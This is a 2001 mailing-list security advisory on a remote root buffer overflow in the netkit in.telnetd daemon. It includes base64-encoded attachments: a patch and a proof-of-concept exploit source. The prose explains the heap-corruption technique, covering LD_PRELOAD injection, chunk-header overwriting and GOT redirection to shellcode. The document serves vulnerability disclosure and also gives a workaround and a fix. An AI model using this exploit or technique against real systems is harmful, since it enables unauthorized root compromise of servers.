Date: Fri, 10 Aug 2001 00:14:03 +1200 (NZST)
From: [email protected]
To: [email protected]Subject: ADV/EXP: netkit <=0.17 in.telnetd remote buffer overflow
---1463783680-1194109795-997359229=:10117
Content-Type: TEXT/PLAIN; charset=US-ASCII
************************************************************************
Product: netkit telnet protocol daemon, in.telnetd
Version: netkit-telnet-0.17 (and previous) /usr/sbin/in.telnetd
Severity: High
Remote: Yes
Allows: Remote ROOT level access.
Workaround: Disable telnet access.
Fix: Check with your vendor for an updated package.
************************************************************************
<from http://www.securityfocus.com/archive/1/197804, posted by
<[email protected]>.
To: BugTraq
Subject: multiple vendor telnet daemon vulnerability
Date: Wed Jul 18 2001 22:15:10
...
System | vulnerable | exploitable *
----------------------------------------+--------------+------------
... | |
Linux netkit-telnetd >= 0.14 | no |
... | |
The bug has been discovered by scut. (It is easy to spot, so I do not
want to rule out discoveries by other persons)
...
The tests and further analysis were done by smiler, lorian, zip and scut.
...
<end of message>
TESO were wrong about netkit >=0.14 not being vulnerable.
************************************************************************
Requires: Currently running telnet daemon (often on by default)
/usr/in.telnetd <= netkit-telnet-0.17
(telnet-0.17-7 is the default in.telnetd for Redhat 7.0)
GLIBC > 2.0.6
************************************************************************
Description of problem:
The version of /usr/sbin/in.telnetd that comes as default on Redhat 7.0,
and many other distributions contains an exploitable overflow in the
handling of its output, allowing execution of arbitrary commands.
The problem is in the handling of the AYT commands, as described in the
advisory already linked.
************************************************************************
Exploit details: (the attached file zp-exp-telnetd.c)
If the user has local access to the system, it is possilble to get the
program to set arbitrary environment variables in the environment of
/bin/login.
e.g. LD_PRELOAD=/tmp/make-rootshell.so
By filling the heap, in a similar way to the teso exploit, it its possible
to set 2 or more environment variables.
If the user doesn't have local access, it is possible to overwrite the
chunk header information for a pointer used by setenv(3), and store a new
chunk in a user controllable location, so when the envrionement gets
reallocated it will change the value of arbitrary memory locations.
e.g. You could cause the pointer to set the length of the previous chunk
to the distance back from the chunk to a point in netibuf, which itself
contains a chunk to set the address of a function in the GOT to point to
shellcode, which could also be stored in the network input buffer.
Sometimes bad things happen that you have to kludge to fix. e.g.
push_clean() in the proof of concept exploit. Sometimes I got some
characters from the previous input being sent again, and when that was a
command to set an environment variable or something else that changed the
environment, it kinda messed with malloc calculations a little.
As it is, this exploit will probably not work on your machine, but
carefully modifying appropriate values should fix that.
-- zen-parse
____ http://mp3.com/cosv _______
/ ___\ __ _______ / _____/ __
/ /_____/ \ / ____ \ / / ______/ \__________
\______ /\ \__\ \ \ \ / / /_gone_\__/_platinum_\
\ \/ ______/ \ \/ / \______/ \__________/
\__/ \__/ \__/
-- ObPlug: Buy our CD!
-- Available: For work in the security industry. (email for details)
-------------------------------------------------------------------------
The preceding information, unless directly posted by [email protected] to
an open forum is confidential information and not to be distributed
(without explicit permission being given by [email protected]). Legal
action may be taken to enforce this. If you are mum or dad, this probably
doesn't apply to you.
---1463783680-1194109795-997359229=:10117
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="netkit-telnet-0.17-ayt.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <[email protected]>
Content-Description:
Content-Disposition: attachment; filename="netkit-telnet-0.17-ayt.patch"
LS0tIG5ldGtpdC10ZWxuZXQtMC4xNy90ZWxuZXRkL3V0aWxpdHkuYy5heXQJ
V2VkIEF1ZyAgOCAxNjozMzowMSAyMDAxDQ0KKysrIG5ldGtpdC10ZWxuZXQt
MC4xNy90ZWxuZXRkL3V0aWxpdHkuYwlXZWQgQXVnICA4IDE3OjIwOjM5IDIw
MDENDQpAQCAtNTYsMTggKzU2LDI1IEBADQ0KIHZvaWQNDQogbmV0b3ByaW50
Zihjb25zdCBjaGFyICpmbXQsIC4uLikNDQogew0NCi0gICBpbnQgbGVuLCBt
YXhzaXplOw0NCisgICBpbnQgbGVuID0gMCwgbWF4c2l6ZTsNDQogICAgdmFf
bGlzdCBhcDsNDQogICAgaW50IGRvbmU9MDsNDQogDQ0KICAgIHdoaWxlICgh
ZG9uZSkgew0NCiAgICAgICBtYXhzaXplID0gc2l6ZW9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g==
---1463783680-1194109795-997359229=:10117
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="zp-exp-telnetd.c"
Content-Transfer-Encoding: BASE64
Content-ID: <[email protected]>
Content-Description:
Content-Disposition: attachment; filename="zp-exp-telnetd.c"
I2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0K
I2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2lu
Lmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0K
I2luY2x1ZGUgPGZjbnRsLmg+DQoNCi8qKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioNCiAgICAgICBQcm9vZiBvZiBjb25jZXB0IG5ldGtpdC0wLjE3LTcgbG9j
YWwgcm9vdCBleHBsb2l0Lg0KDQogRXhwbG9pdHMgYnVmZmVyIG92ZXJmbG93
IGluIHRoZSBBWVQgaGFuZGxpbmcgb2YgaW4udGVsbmV0ZCwgDQogZHVlIHRv
IGJhZCBsb2dpYyBpbiB0aGUgaGFuZGxpbmcgb2Ygc25wcmludGYoKSwgYW5k
IA0KDQogICAgICBURVNPIGFkdmlzb3J5IGRldGFpbHMgd2VyZSBlbm91Z2gg
dG8gYWxsb3cgbWUgdG8gcHV0IA0KICAgICAgICBjb250cm9sYWJsZSBhZGRy
ZXNzZXMgaW4gYXJiaXRhcnkgaGVhcCBsb2NhdGlvbnMuIA0KDQogICAgSGVh
cCBiYXNlZCBleHBsb2l0LiBPdmVyZmxvdyBhbGxvd3MgcmV3cml0aW5nIG9m
IHNvbWUgaGVhcCANCiAgICAgZGF0YSwgd2hpY2ggYWxsb3dlZCBtZSB0byBw
dXQgYSBuZXcgaGVhcCBzdHJ1Y3R1cmUgaW4gdGhlIA0KICAgICAgICAgIGlu
cHV0IGJ1ZmZlciwgd2hpY2gg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SBz
aG91bGQgcHJvYmFibHkgY2xvc2UgaXQuXG4iKTsNCiAgZmZsdXNoIChzdGRl
cnIpOw0KICBzbGVlcCAoNjApOw0KICBleGl0ICgwKTsNCn0NCi8qKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKg0KDQogVGhhbmtzIHRvIHhwaGFudG9tIGZvciB0
aGUgaGVscCB3aXRoIGdldHRpbmcgdGhlIHNvbWUgb2YgdGhlIHNvY2tldCAN
CiBzdHVmZiB3b3JraW5nIHByb3Blcmx5LiBFcm0uIEkgZGlkbid0IGVuZCB1
cCB1c2luZyB0aGF0IG1ldGhvZCwgYnV0DQogICAgICAgICAgICAgICAgICAg
ICAgICAgdGhhbmtzIGFueXdheS4gO10NCg0KVGhpcyBjb2RlIGlzIENvcHly
aWdodCAoYykgMjAwMSB6ZW4tcGFyc2UNClVzZSBhbmQgZGlzdHJpYnV0aW9u
IGlzIHVubGltaXRlZCwgcHJvdmlkZWQgdGhlIGNvZGUgaXMgbm90IG1vZGlm
aWVkLg0KSWYgdGhlIGNvZGUsIGluY2x1ZGluZyBhbnkgb2YgdGV4dCBpcyBt
b2RpZmllZCwgdGhhdCB2ZXJzaW9uIG1heSBub3QNCmJlIHJlZGlzdHJ1YnV0
ZWQuDQoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KLyogT2JQbHVnIDQg
TXkgQmFuZDogZ29uZSBwbGF0aW51bSwgQ2hhcGVsIG9mIFN0aWxsZWQgdm9p
Y2VzLCBmcm9tICovDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAg
ICAgICAgIFJlbWVtYmVyIHRvIHZpc2l0IENoYXBlbCBvZiBTdGlsbGVkIFZv
aWNlczoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF8gICAg
ICAgICAgICAgICAgIF8gICAgIF8gLiAgLg0KICAgfF8gIF98XyBffF8gIF8g
LiAgLyAvLiAgLiAgXyAgX3wgIF8gIF8gLiAgLiAgLyB8ICAgXyB8XyB8ICB8
DQogICB8IHwgIHwgICB8ICB8X3wuIC8gLyB8XC98IHxffCBffC58XyB8X3x8
XC98IC8gIHxfIHxffCBffCBcLyANCiAgLSAtIC0gLSAtIC0gLXwtIC0gLSAt
IC0gLSAtfC0gLSAtIC0gLSAtIC0gLSAtIC0gLSAtIC0gLSAtIC0gLSAtDQog
ICAgICAgICAgICAgICB8ICAgICAgICAgICAgIHwNCklmIHRoZXJlIGlzIGFu
eXRoaW5nIGJlbG93IHRoZSBuZXh0IGxpbmUgc29tZW9uZSBpcyBub3QgZm9s
bG93aW5nIHRoZQ0KcnVsZXMuICAtLXplbi1wYXJzZQ0KKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqRU5EKioqKioqKioqKioqKioqKioq
KioqKioqKioqKiovDQo=
---1463783680-1194109795-997359229=:10117--